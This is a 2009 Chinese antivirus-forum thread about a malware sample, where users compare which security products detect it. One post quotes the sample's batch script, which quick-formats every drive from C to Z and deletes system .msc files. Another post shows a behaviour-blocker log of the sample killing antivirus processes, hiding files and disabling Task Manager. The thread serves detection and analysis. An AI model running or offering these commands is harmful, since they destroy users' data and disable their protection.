这毒有点牛逼

显示全部楼层 · 发表于 2009-6-15 16:18:34

卡7主动有反应

显示全部楼层 · 发表于 2009-6-15 16:36:03

to kl

显示全部楼层 · 发表于 2009-6-15 16:39:39

一般般吧

显示全部楼层 · 发表于 2009-6-15 17:02:47

易语言写的病毒而已，本身没啥技术含量，只是运行的那个bat有点BT而已
@echo off
for %%i in (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO format %%i: /q /x /y
del /f /s /q /a %SystemRoot%\system32\*.msc

显示全部楼层 · 发表于 2009-6-15 17:49:45

mpav miss,to

显示全部楼层 · 发表于 2009-6-15 17:56:19

2009-06-15 17:55:34 修改系统时间    操作:阻止
进程路径:E:\test\样本.exe
更改后系统时间:1988-2-21 16:0
触发规则:应用程序规则->AD:04…禁止的程序操作->*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im kavsvc.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im KVXP.kxp
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im Rav.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im Ravmon.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im Mcshield.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im VsTskMgr.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 运行应用程序    操作:阻止
进程路径:E:\test\样本.exe
文件路径:C:\WINDOWS\system32\taskkill.exe
命令行:/f /im 360tray.exe
触发规则:所有程序规则->AD:02…绝对禁运区（黑名单）->%windir%\system32\*

2009-06-15 17:55:34 修改注册表内容    操作:阻止并结束进程
进程路径:E:\test\样本.exe
注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
注册表名称:CheckedValue
触发规则:所有程序规则->RD:01…系统关键设置保护（黑名单）->*\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

2009-06-15 17:55:34 创建注册表值    操作:阻止
进程路径:E:\test\样本.exe
注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
注册表名称:DisableTaskMgr
触发规则:所有程序规则->RD:07…系统和软件操作（黑白）->*\Software\Microsoft\Windows*\*

显示全部楼层 · 发表于 2009-6-15 18:16:23

"Infections"
"File";"Infection";"Result"
"E:\收集区\新建文件夹\样本.exe";"Trojan horse SHeur.CMDD";"Infected"

显示全部楼层 · 发表于 2009-6-15 18:43:21

第一个解压以后小红伞什么都杀不出来。看来以后我得小心一点了

显示全部楼层 · 发表于 2009-6-15 19:32:45

不知道会是什么样，下了个整合的。谢谢

显示全部楼层 · 发表于 2009-6-15 19:34:04

nod32 没反应

[病毒样本] 这毒有点牛逼

本帖子中包含更多资源